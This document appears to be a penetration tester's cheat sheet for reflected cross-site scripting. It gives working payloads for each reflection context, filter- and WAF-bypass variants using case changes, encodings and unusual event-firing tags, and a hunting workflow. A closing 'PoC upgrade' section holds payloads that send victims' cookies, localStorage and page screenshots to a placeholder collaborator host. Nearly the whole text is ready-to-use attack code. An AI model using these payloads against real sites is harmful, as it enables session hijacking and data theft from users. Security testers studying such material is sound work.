Reflected XSS

The classic. Input comes in, gets sanitized (or not), and reflects back in the response. Context is everything - I've bypassed "sanitized" output a dozen times just by reading where the input actually lands.

Context Matrix

flowchart LR
    A[Your Input] --> B{Context}
    B --> C["HTML Body"]
    B --> D["Attribute Value"]
    B --> E["JS String"]
    B --> F["JS Block"]
    B --> G["URL / href"]

HTML Body Context

Input lands directly in markup. Simplest case.

<!-- Reflection: <div>SEARCH_TERM</div> -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<details open ontoggle=alert(1)>

Attribute Context - Unquoted

<!-- Reflection: <input value=TERM> -->
TERM onmouseover=alert(1)
TERM autofocus onfocus=alert(1)

Attribute Context - Double-Quoted

<!-- Reflection: <input value="TERM"> -->
" onmouseover="alert(1)
" autofocus onfocus="alert(1)
"><img src=x onerror=alert(1)>

Attribute Context - Single-Quoted

<!-- Reflection: <input value='TERM'> -->
' onmouseover='alert(1)
'><svg onload='alert(1)'>

JavaScript String Context

// Reflection: var name = 'TERM';
'-alert(1)-'
\';alert(1)//
</script><script>alert(1)</script>

JavaScript Block Context (unquoted value)

// Reflection: var id = TERM;
alert(1)
1;alert(1)

URL / href Context

<!-- Reflection: <a href="TERM"> -->
javascript:alert(1)
data:text/html,<script>alert(1)</script>

Filter Bypass Techniques

Tag/Event Obfuscation

<!-- Case variation -->
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>
 
<!-- Null bytes / extra chars (old filters) -->
<scr\x00ipt>alert(1)</scr\x00ipt>
 
<!-- Unusual tags that fire events -->
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>

Encoding Tricks

<!-- HTML entities inside event handlers -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>
 
<!-- URL encoding in href -->
<a href="javascript:%61%6c%65%72%74%28%31%29">click</a>
 
<!-- Double encoding -->
<a href="javascript:%2561%256c%2565%2572%2574(1)">click</a>

Breaking Out of Context

<!-- Escape JS string, inject new block -->
</script><script>alert(1)</script>
 
<!-- Comment injection to bypass partial filters -->
<!--<script>-->alert(1)<!--</script>-->

WAF Evasion - Quick Reference

See WAF Bypass for deep coverage. Key quick wins:

<!-- Space alternatives -->
<img/src=x/onerror=alert(1)>
<svg	onload=alert(1)>   <!-- tab instead of space -->
 
<!-- Bracket alternatives -->
<img src=x onerror="alert`1`">
<img src=x onerror=alert(document['cookie'])>

Hunting Workflow

  1. Inject a unique string (e.g., xsstest1234) - no special chars - confirm reflection and context.
  2. Build the minimal breaking payload for that context.
  3. If blocked, try encoding, case variation, alternate tags/events.
  4. Use Burp's Intruder with fuzz-xss.txt from PayloadsAllTheThings when going broad.

PoC Upgrade - From alert(1) to Impact

// Exfil cookies
<img src=x onerror="fetch('https://COLLAB/?c='+btoa(document.cookie))">
 
// Exfil localStorage
<img src=x onerror="fetch('https://COLLAB/?l='+btoa(JSON.stringify(localStorage)))">
 
// Full page screenshot via html2canvas (stored XSS)
<script src=https://html2canvas.hertzen.com/dist/html2canvas.min.js></script>
<script>html2canvas(document.body).then(c=>fetch('https://COLLAB/?i='+c.toDataURL()))</script>